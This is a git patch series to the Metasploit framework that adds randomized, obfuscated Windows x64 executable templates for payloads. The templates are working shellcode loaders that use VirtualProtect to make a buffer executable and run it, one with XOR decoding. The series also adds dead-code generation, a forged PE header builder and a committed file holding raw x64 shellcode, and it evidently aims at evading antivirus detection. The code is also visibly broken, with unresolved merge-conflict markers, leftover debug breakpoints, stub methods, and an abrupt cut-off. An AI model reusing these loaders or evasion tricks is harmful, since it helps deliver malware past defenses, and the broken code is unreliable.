From 577f41603fc520861d36bcfc938cbc6dfceba935 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 26 Feb 2026 06:44:37 -0500 Subject: [PATCH 01/10] refactor: remove duplicated to_win64pe method implementation --- lib/msf/util/exe/windows/x64.rb | 33 --------------------------------- 1 file changed, 33 deletions(-) diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index c8247dd1ce45d..be6b844b3142b 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -9,39 +9,6 @@ def self.included(base) module ClassMethods # Construct a Windows x64 PE executable with the given shellcode. - # to_win64pe - # - # @param framework [Msf::Framework] The Metasploit framework instance. - # @param code [String] The shellcode to embed in the executable. - # @param opts [Hash] Additional options. - # @return [String] The constructed PE executable as a binary string. - - def to_win64pe(framework, code, opts = {}) - # Use the standard template if not specified by the user. - # This helper finds the full path and stores it in opts[:template]. - set_template_default(opts, 'template_x64_windows.exe') - - # Try to inject code into executable by adding a section without affecting executable behavior - if opts[:inject] - injector = Msf::Exe::SegmentInjector.new({ - :payload => code, - :template => opts[:template], - :arch => :x64, - :secname => opts[:secname] - }) - return injector.generate_pe - end - - # Append a new section instead - appender = Msf::Exe::SegmentAppender.new({ - :payload => code, - :template => opts[:template], - :arch => :x64, - :secname => opts[:secname] - }) - return appender.generate_pe - end - # to_win64pe # # @param framework [Msf::Framework] The framework of you want to use From a8f3fe95e9a9ec81dc7b7f6b459dcfd0e1f926b6 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 14 Apr 2026 08:14:03 -0400 Subject: [PATCH 02/10] feat|draft: random exe templates --- data/templates/src/pe/exe/template.c.erb | 12 ++++ lib/metasploit/framework/compiler/windows.rb | 1 + lib/msf/core/exploit/exe.rb | 6 +- lib/msf/core/obfuscation/exe_template.rb | 64 ++++++++++++++++++++ lib/msf/core/payload/adapter/fetch.rb | 5 ++ lib/msf/util/exe/windows/x64.rb | 8 ++- 6 files changed, 93 insertions(+), 3 deletions(-) create mode 100644 data/templates/src/pe/exe/template.c.erb create mode 100644 lib/msf/core/obfuscation/exe_template.rb diff --git a/data/templates/src/pe/exe/template.c.erb b/data/templates/src/pe/exe/template.c.erb new file mode 100644 index 0000000000000..e0ba4ce7cb6ac --- /dev/null +++ b/data/templates/src/pe/exe/template.c.erb @@ -0,0 +1,12 @@ +#include + +#define SCSIZE 4096 +char bPayload[SCSIZE] = "PAYLOAD:"; + + +void main() { + DWORD dwOldProtect; + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); + (*(void (*)()) bPayload)(); + return; +} diff --git a/lib/metasploit/framework/compiler/windows.rb b/lib/metasploit/framework/compiler/windows.rb index 4782a810b73e0..207c90a394a12 100644 --- a/lib/metasploit/framework/compiler/windows.rb +++ b/lib/metasploit/framework/compiler/windows.rb @@ -71,6 +71,7 @@ def self.compile_random_c(c_template, opts={}) cpu = opts[:cpu] || Metasm::Ia32.new random_c = self.generate_random_c(c_template, opts) + puts("Randomized C source code:\n#{random_c}\n") self.compile_c(random_c, type, cpu) end diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 17e5e65617594..ccba0256c4d9b 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -26,7 +26,11 @@ def initialize(info = {}) OptPath.new('MSI::Custom', [false, 'Use custom msi instead of automatically generating a payload msi']), OptPath.new('MSI::Path', [false, 'The directory in which to look for the msi template']), OptPath.new('MSI::Template', [false, 'The msi template file name']), - OptBool.new('MSI::UAC', [false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)']) + OptBool.new('MSI::UAC', [false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)']), + OptBool.new('EXE::Obfuscation::Enabled', [false, 'Use JIT obfuscation when generating the executable', false]), + OptPath.new('EXE::Obfuscation::Template', [false, 'The JIT obfuscation template file name. This should be a C file that will be compiled with the payload embedded in it.']), + OptPath.new('EXE::Obfuscation::Path', [false, 'The directory in which to look for the JIT obfuscation template']), + OptEnum.new('EXE::Obfuscation::Compiler', [true, 'The compiler to use for JIT obfuscation', 'metasm',['mingw', 'metasm']]) ], self.class) end diff --git a/lib/msf/core/obfuscation/exe_template.rb b/lib/msf/core/obfuscation/exe_template.rb new file mode 100644 index 0000000000000..1451365686838 --- /dev/null +++ b/lib/msf/core/obfuscation/exe_template.rb @@ -0,0 +1,64 @@ + +require 'metasploit/framework/compiler/windows' +module Msf::Obfuscation::ExeTemplate + def self.exe_template_compile(framework, opts) + template_path = framework.datastore['EXE::Obfuscation::Path'] || File.join(Msf::Config.data_directory, 'templates/src/pe/exe') + template = framework.datastore['EXE::Obfuscation::Template'] || "template.c.erb" + # if template is a erb file, render it with erb + if File.extname(template) == '.erb' + template = ERB.new(File.read(File.join(template_path, template))).result(binding) + end + template_file = File.join(template_path, template) + arch = opts[:arch].first if opts[:arch].kind_of? Array + metasm_cpu = arch == ARCH_X64 ? Metasm::X64.new : Metasm::Ia32.new + windows_compiler_options = { + :type => :exe, + :cpu => metasm_cpu, + :weight => 100 + } + # binding.pry + exe = Metasploit::Framework::Compiler::Windows.compile_random_c(File.read(template_file), windows_compiler_options) + # If linux host, throw the exe in /tmp and return /tmp as path and the exe name. + if File.exists?('/tmp/') && File.writable?('/tmp/') + path = '/tmp/' + out_file = File.join(path, "#{Rex::Text.rand_text_alpha(8)}.exe") + File.write(out_file, exe, mode: 'wb') + print_status("Compiled JIT obfuscation template to #{out_file}\n") + return path, File.basename(out_file) + else + print_error("Template obfuscation currently works on Linux only with a writable /tmp directory.") + end + return nil, nil + end + + def self.src_random_nested_functions(target_fname, depth=3, max_deadended_functions=5) + prev_func = target_fname + code = "" + (1..depth).each do |i| + deadend_functions_number = rand(1..max_deadended_functions) + deadended_functions = [""] + + (1..deadend_functions_number).each do |j| + dead_func_name = "#{Rex::Text.rand_text_alpha(16)}" + code << "void #{dead_func_name}() {\n int i = #{rand(1..100)};\n}\n\n" + deadended_functions << dead_func_name + end + + func_name = "#{Rex::Text.rand_text_alpha(16)}" + code << "void #{func_name}() {\n" + prev_function_inserted = false + deadend_functions_to_call = deadended_functions.sample(rand(1..deadended_functions.length)) + deadend_functions_to_call.each do |dead_func| + if !prev_function_inserted && rand(0..1) == 1 + code << " #{prev_func}();\n" + prev_function_inserted = true + end + code << " #{dead_func}();\n" + end + code << " #{prev_func}();\n" unless prev_function_inserted + code << "}\n\n" + prev_func = func_name + end + code + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 9aa557ba261ce..8cee3edba67c1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -124,6 +124,11 @@ def pipe_supported_binaries # @param opts [Hash] Payload generation options. # @return [String] The fetch command to run on the target. def generate(opts = {}) + # get every datastore option that start with EXE:: + exe_opts = datastore.keys.select { |k| k.start_with?('EXE::') || k.start_with?('MSI::') }.each_with_object({}) do |k, h| + h[k] = datastore[k] + end + opts.merge!(exe_opts) opts[:arch] ||= module_info['AdaptedArch'] opts[:code] = super @srvexe = generate_payload_exe(opts) diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index be6b844b3142b..c32a056face7d 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -2,7 +2,6 @@ module Msf::Util::EXE::Windows::X64 include Msf::Util::EXE::Common include Msf::Util::EXE::Windows::Common - def self.included(base) base.extend(ClassMethods) end @@ -17,7 +16,12 @@ module ClassMethods # @return [String] def to_win64pe(framework, code, opts = {}) # Allow the user to specify their own EXE template - set_template_default(opts, "template_x64_windows.exe") + path = nil + exe = "template_x64_windows.exe" + if opts['EXE::Obfuscation::Enabled'] + path, exe = Msf::Obfuscation::ExeTemplate.exe_template_compile(framework, opts) + end + set_template_default(opts, exe, path) # Try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] From 49ec96a45de0d5db79ea4081354e96e68abeba4c Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sat, 11 Apr 2026 12:23:02 +0200 Subject: [PATCH 03/10] Adds base for template randomization --- data/templates/template_x64_windows.erb | 11 +++++++ lib/msf/base/simple/payload.rb | 4 ++- lib/msf/util/exe.rb | 3 ++ lib/msf/util/exe/windows/x64.rb | 41 +++++++++++++++++++++++++ 4 files changed, 58 insertions(+), 1 deletion(-) create mode 100644 data/templates/template_x64_windows.erb diff --git a/data/templates/template_x64_windows.erb b/data/templates/template_x64_windows.erb new file mode 100644 index 0000000000000..4c733d321055f --- /dev/null +++ b/data/templates/template_x64_windows.erb @@ -0,0 +1,11 @@ +#include + +#define SCSIZE <%= payload_length %> +char bPayload[SCSIZE] = "<%= payload %>"; + +void main() { + DWORD dwOldProtect; + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); + (*(void (*)()) bPayload)(); + return; +} diff --git a/lib/msf/base/simple/payload.rb b/lib/msf/base/simple/payload.rb index 9c1eb7bee1312..c3663c35bade9 100644 --- a/lib/msf/base/simple/payload.rb +++ b/lib/msf/base/simple/payload.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'pry' +require 'pry-byebug' module Msf module Simple @@ -38,7 +40,7 @@ module Payload # ArgumentParseError => Options were supplied improperly # def self.generate_simple(payload, opts, &block) - + binding.pry # Clone the module to prevent changes to the original instance payload = payload.replicant Msf::Simple::Framework.simplify_module(payload) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 33d1d8d2c39da..1e60a8685b92f 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,4 +1,6 @@ # -*- coding: binary -*- +require 'pry' +require 'pry-byebug' module Msf::Util::EXE include Msf::Util::EXE::Common @@ -102,6 +104,7 @@ def to_executable(framework, arch, plat, code = '', fmt='', opts = {}) def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) # For backwards compatibility with the way this gets called when # generating from Msf::Simple::Payload.generate_simple + binding.pry if arch.is_a? Array output = nil arch.each do |a| diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index c32a056face7d..cef610e5d304a 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -1,3 +1,9 @@ +require 'erb' +require 'metasploit/framework/compiler/windows' +require 'metasploit/framework/compiler/mingw' +require 'pry' +require 'pry-byebug' + # -*- coding: binary -*- module Msf::Util::EXE::Windows::X64 include Msf::Util::EXE::Common @@ -10,6 +16,7 @@ module ClassMethods # Construct a Windows x64 PE executable with the given shellcode. # to_win64pe # +<<<<<<< HEAD # @param framework [Msf::Framework] The framework of you want to use # @param code [String] # @param opts [Hash] @@ -22,14 +29,44 @@ def to_win64pe(framework, code, opts = {}) path, exe = Msf::Obfuscation::ExeTemplate.exe_template_compile(framework, opts) end set_template_default(opts, exe, path) +======= + # @param framework [Msf::Framework] The Metasploit framework instance. + # @param code [String] The shellcode to embed in the executable. + # @param opts [Hash] Additional options. + # @return [String] The constructed PE executable as a binary string. + + def to_win64pe(framework, code, opts = {}) + # Use the standard template if not specified by the user. + # This helper finds the full path and stores it in opts[:template]. + set_template_default(opts, 'template_x64_windows.exe') + + binding.pry + # ----------------------------- + payload_length = code.length + payload = code.unpack("C*") + template_path = File.join(Msf::Config.data_directory, 'templates','template_x64_windows.erb') + erb = ERB.new(File.read(template_path)) + c_source = erb.result(binding) + comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts) + compiler_out = comp_obj.compile_c(c_source) + bin = Metasploit::Framework::Compiler::Windows.compile_c(c_source, :exe,Metasm::X86_64.new) + # ----------------------------- +>>>>>>> 441ef83dba3 (Adds base for template randomization) # Try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ +<<<<<<< HEAD :payload => code, :template => opts[:template], :arch => :x64, :secname => opts[:secname] +======= + :payload => code, + :template => opts[:template], + :arch => :x64, + :secname => opts[:secname] +>>>>>>> 441ef83dba3 (Adds base for template randomization) }) return injector.generate_pe end @@ -43,6 +80,10 @@ def to_win64pe(framework, code, opts = {}) }) return appender.generate_pe end +<<<<<<< HEAD +======= + +>>>>>>> 441ef83dba3 (Adds base for template randomization) # to_win64pe_service # From 424d0de3cb355dd288d0dcc11e63cd58bacad257 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 14 Apr 2026 07:41:57 +0200 Subject: [PATCH 04/10] Adds more concise template binding --- .c | 11 +++++++++++ lib/msf/util/exe/windows/x64.rb | 4 ++-- 2 files changed, 13 insertions(+), 2 deletions(-) create mode 100644 .c diff --git a/.c b/.c new file mode 100644 index 0000000000000..10659dca4ffcc --- /dev/null +++ b/.c @@ -0,0 +1,11 @@ +#include + +#define SCSIZE 270 +char bPayload[SCSIZE] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x69\x64\x00"; + +void main() { + DWORD dwOldProtect; + VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); + (*(void (*)()) bPayload)(); + return; +} diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index cef610e5d304a..a35cb84ffa7e8 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -42,8 +42,8 @@ def to_win64pe(framework, code, opts = {}) binding.pry # ----------------------------- - payload_length = code.length - payload = code.unpack("C*") + payload_length = code.bytesize + payload = code.bytes.map { |b| "\\x%02x" % b }.join template_path = File.join(Msf::Config.data_directory, 'templates','template_x64_windows.erb') erb = ERB.new(File.read(template_path)) c_source = erb.result(binding) From e4dd7b81947adb1108710d173d39bf2970f49492 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 27 Feb 2026 12:53:09 -0500 Subject: [PATCH 05/10] Update ESC reported services and findings --- .../auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb index cff1e9909cb01..2b1ae91e61737 100644 --- a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb +++ b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb @@ -890,7 +890,7 @@ def print_vulnerable_cert_info host: ca_server[:ip_address], port: 445, proto: 'tcp', - name: vuln.to_s, + name: "#{vuln}", info: info, refs: REFERENCES[vuln], service: service, @@ -1238,7 +1238,7 @@ def report_service_icertpassage(host, ca_name:) } report_service({ - name: ::Msf::Exploit::Remote::MsIcpr::ADCS_CA_SERVICE_NAME, + name: 'adcs-ca', resource: { 'name' => ca_name }, @@ -1257,10 +1257,7 @@ def report_service_icertpassage(host, ca_name:) } }, parents: { - name: 'smb', - parents: { - name: 'tcp' - } + name: 'smb' }.merge(common) }.merge(common) }.merge(common) From 95a0750b9400a45a4934d6520c9fe070e35b5904 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 26 Feb 2026 06:44:37 -0500 Subject: [PATCH 06/10] refactor: remove duplicated to_win64pe method implementation --- lib/msf/util/exe/windows/x64.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index a35cb84ffa7e8..542b24437bdbe 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -16,6 +16,7 @@ module ClassMethods # Construct a Windows x64 PE executable with the given shellcode. # to_win64pe # +<<<<<<< HEAD <<<<<<< HEAD # @param framework [Msf::Framework] The framework of you want to use # @param code [String] @@ -30,6 +31,8 @@ def to_win64pe(framework, code, opts = {}) end set_template_default(opts, exe, path) ======= +======= +>>>>>>> 5e3e59e2391 (refactor: remove duplicated to_win64pe method implementation) # @param framework [Msf::Framework] The Metasploit framework instance. # @param code [String] The shellcode to embed in the executable. # @param opts [Hash] Additional options. @@ -81,9 +84,12 @@ def to_win64pe(framework, code, opts = {}) return appender.generate_pe end <<<<<<< HEAD +<<<<<<< HEAD ======= >>>>>>> 441ef83dba3 (Adds base for template randomization) +======= +>>>>>>> 5e3e59e2391 (refactor: remove duplicated to_win64pe method implementation) # to_win64pe_service # From 0e91186fe251ff3ff13dbc772b3ee1a9291475b3 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 14 Apr 2026 08:14:03 -0400 Subject: [PATCH 07/10] feat|draft: random exe templates --- lib/msf/util/exe/windows/x64.rb | 38 +-------------------------------- 1 file changed, 1 insertion(+), 37 deletions(-) diff --git a/lib/msf/util/exe/windows/x64.rb b/lib/msf/util/exe/windows/x64.rb index 542b24437bdbe..39ccfa08a997f 100644 --- a/lib/msf/util/exe/windows/x64.rb +++ b/lib/msf/util/exe/windows/x64.rb @@ -13,26 +13,7 @@ def self.included(base) end module ClassMethods - # Construct a Windows x64 PE executable with the given shellcode. - # to_win64pe - # -<<<<<<< HEAD -<<<<<<< HEAD - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @return [String] - def to_win64pe(framework, code, opts = {}) - # Allow the user to specify their own EXE template - path = nil - exe = "template_x64_windows.exe" - if opts['EXE::Obfuscation::Enabled'] - path, exe = Msf::Obfuscation::ExeTemplate.exe_template_compile(framework, opts) - end - set_template_default(opts, exe, path) -======= -======= ->>>>>>> 5e3e59e2391 (refactor: remove duplicated to_win64pe method implementation) + # @param framework [Msf::Framework] The Metasploit framework instance. # @param code [String] The shellcode to embed in the executable. # @param opts [Hash] Additional options. @@ -43,7 +24,6 @@ def to_win64pe(framework, code, opts = {}) # This helper finds the full path and stores it in opts[:template]. set_template_default(opts, 'template_x64_windows.exe') - binding.pry # ----------------------------- payload_length = code.bytesize payload = code.bytes.map { |b| "\\x%02x" % b }.join @@ -54,22 +34,13 @@ def to_win64pe(framework, code, opts = {}) compiler_out = comp_obj.compile_c(c_source) bin = Metasploit::Framework::Compiler::Windows.compile_c(c_source, :exe,Metasm::X86_64.new) # ----------------------------- ->>>>>>> 441ef83dba3 (Adds base for template randomization) - # Try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ -<<<<<<< HEAD - :payload => code, - :template => opts[:template], - :arch => :x64, - :secname => opts[:secname] -======= :payload => code, :template => opts[:template], :arch => :x64, :secname => opts[:secname] ->>>>>>> 441ef83dba3 (Adds base for template randomization) }) return injector.generate_pe end @@ -83,13 +54,6 @@ def to_win64pe(framework, code, opts = {}) }) return appender.generate_pe end -<<<<<<< HEAD -<<<<<<< HEAD -======= - ->>>>>>> 441ef83dba3 (Adds base for template randomization) -======= ->>>>>>> 5e3e59e2391 (refactor: remove duplicated to_win64pe method implementation) # to_win64pe_service # From c53fe9d217e25a30069b1e9c47dd83232e00551d Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 17 Apr 2026 19:20:07 +0200 Subject: [PATCH 08/10] Adds template with more randomized execution, removes debug breakpoints --- .c | 11 --- data/templates/template_x64_windows.erb | 23 +++++- lib/metasploit/framework/compiler/custom.rb | 81 +++++++++++++++++++++ lib/msf/base/simple/payload.rb | 4 - lib/msf/core/encoded_payload.rb | 6 +- lib/msf/core/exploit/exe.rb | 10 +-- lib/msf/core/module.rb | 6 +- lib/msf/core/obfluscation/exe_template.rb | 44 +++++++++++ lib/msf/core/obfuscation/exe_template.rb | 64 ---------------- lib/msf/util/exe.rb | 3 - lib/msf/util/exe/windows/x64.rb | 7 +- 11 files changed, 167 insertions(+), 92 deletions(-) delete mode 100644 .c create mode 100644 lib/metasploit/framework/compiler/custom.rb create mode 100644 lib/msf/core/obfluscation/exe_template.rb delete mode 100644 lib/msf/core/obfuscation/exe_template.rb diff --git a/.c b/.c deleted file mode 100644 index 10659dca4ffcc..0000000000000 --- a/.c +++ /dev/null @@ -1,11 +0,0 @@ -#include - -#define SCSIZE 270 -char bPayload[SCSIZE] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x69\x64\x00"; - -void main() { - DWORD dwOldProtect; - VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); - (*(void (*)()) bPayload)(); - return; -} diff --git a/data/templates/template_x64_windows.erb b/data/templates/template_x64_windows.erb index 4c733d321055f..26bf0706061c1 100644 --- a/data/templates/template_x64_windows.erb +++ b/data/templates/template_x64_windows.erb @@ -1,11 +1,32 @@ #include #define SCSIZE <%= payload_length %> + char bPayload[SCSIZE] = "<%= payload %>"; +char GetKey() +{ + char hardcoded = bPayload[0]; + for (int i = 0; i <= 255; i++) + { + char res = i ^ hardcoded; + if (res == (char)<%= "0x%02x"% control_byte %>) + return (char)i; + } +} + void main() { DWORD dwOldProtect; + char* payload_fnc = NULL; + char key = GetKey(); + + for (int i = 0; i < SCSIZE; i++) + { + bPayload[i] = bPayload[i] ^ key; + } + payload_fnc = bPayload + 1; VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect); - (*(void (*)()) bPayload)(); + (*(void (*)()) payload_fnc)(); return; } + diff --git a/lib/metasploit/framework/compiler/custom.rb b/lib/metasploit/framework/compiler/custom.rb new file mode 100644 index 0000000000000..6f7d811378a62 --- /dev/null +++ b/lib/metasploit/framework/compiler/custom.rb @@ -0,0 +1,81 @@ +require 'metasm' +require 'pry' +require 'pry-byebug' + +module Metasploit + module Framework + module Compiler + + class Custom + + DOS_STUB = ( + "\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21" \ + "This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\x00\x00\x00" + ).b.freeze + + RICH_HEADER = ("\x7E\x13\x87\xAA\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x33\x0A\x7A\xF9\x30\x72\xE9\xF9\xF1\x1D\xE8\xF8\x38\x72\xE9\xF9\xF1\x1D\xEC\xF8\x2B\x72\xE9\xF9\xF1\x1D\xED\xF8\x30\x72\xE9\xF9\xF1\x1D\xEA\xF8\x39\x72\xE9\xF9\x61\x1A\xE8\xF8\x3F\x72\xE9\xF9\x3A\x72\xE8\xF9\x0A\x72\xE9\xF9\xBC\x02\xE0\xF8\x3B\x72\xE9\xF9\xBC\x02\x16\xF9\x3B\x72\xE9\xF9\xBC\x02\xEB\xF8\x3B\x72\xE9\xF9\x52\x69\x63\x68\x3A\x72\xE9\xF9\x00\x00\x00\x00\x00\x00\x00\x00").b.freeze + + COMMON_OFFSETS = [0x40, 0x80].freeze + + def DOSHeader(pe_entry=nil) + e_lfanew = pe_entry || COMMON_OFFSETS.sample + dos_header = [ + "MZ".b, # e_magic + "\x00\x00".b, # e_cblp + "\x00\x00".b, # e_cp + "\x00\x00".b, # e_crlc + "\x00\x00".b, # e_cparhdr + "\x00\x00".b, # e_minalloc + "\x00\x00".b, # e_maxalloc + "\x00\x00".b, # e_ss + "\x00\x00".b, # e_sp + "\x00\x00".b, # e_csum + "\x00\x00".b, # e_ip + "\x00\x00".b, # e_cs + "\x40\x00".b, # e_lfarlc (offset to the DOS stub) + [e_lfanew].pack('V') # e_lfanew (offset to the PE header) + ].join + + dos_header + DOS_STUB + end + + def RichHeader + RICH_HEADER + end + + def OptionalHeader + + end + + def NTHeader(numberOfSections=1) + optionalHeader = OptionalHeader() + sizeOfOptionalHeader = optionalHeader.length + [ + # DWORD Signature + "PE\0\0".b, # Signature + # IMAGE_FILE_HEADER FileHeader + "\x64\x86".b, # Machine (0x14c for x86) + [numberOfSections].pack('v'), # NumberOfSections + "\x19\x5e\x42\x2a".b, # TimeDateStamp - TODO: randomize + "\x00\x00\x00\x00".b, # PointerToSymbolTable + "\x00\x00\x00\x00".b, # NumberOfSymbols + [sizeOfOptionalHeader].pack('v'), # SizeOfOptionalHeader + "\x02\x01".b # Characteristics (0x102 for executable) - TODO: randomize + # IMAGE_OPTIONAL_HEADER OptionalHeader + optionalHeader + ].join + end + + def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new) + + binding.pry + + raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe + + + end + + end + end + end +end diff --git a/lib/msf/base/simple/payload.rb b/lib/msf/base/simple/payload.rb index c3663c35bade9..8bbe79635ce90 100644 --- a/lib/msf/base/simple/payload.rb +++ b/lib/msf/base/simple/payload.rb @@ -1,8 +1,5 @@ # -*- coding: binary -*- -require 'pry' -require 'pry-byebug' - module Msf module Simple @@ -40,7 +37,6 @@ module Payload # ArgumentParseError => Options were supplied improperly # def self.generate_simple(payload, opts, &block) - binding.pry # Clone the module to prevent changes to the original instance payload = payload.replicant Msf::Simple::Framework.simplify_module(payload) diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 06dfba04ad009..ad43646470f24 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -421,7 +421,11 @@ def encoded_exe(opts={}) :template => emod.datastore['EXE::Template'], :inject => emod.datastore['EXE::Inject'], :fallback => emod.datastore['EXE::FallBack'], - :sub_method => emod.datastore['EXE::OldMethod'] + :sub_method => emod.datastore['EXE::OldMethod'], + :dynamic_template_enabled => emod.datastore['EXE::Template::Dynamic::Enabled'], + :dynamic_template_obfluscation => emod.datastore['EXE::Template::Dynamic::Obfluscation'], + :dynamic_template_customtemplate => emod.datastore['EXE::Template::Dynamic::CustomTemplate'], + :dynamic_template_compiler => emod.datastore['EXE::Template::Dynamic::Compiler'] }) # Prefer the target's platform/architecture information, but use # the exploit module's if no target specific information exists. diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index ccba0256c4d9b..cbb20441ed0a8 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -27,10 +27,6 @@ def initialize(info = {}) OptPath.new('MSI::Path', [false, 'The directory in which to look for the msi template']), OptPath.new('MSI::Template', [false, 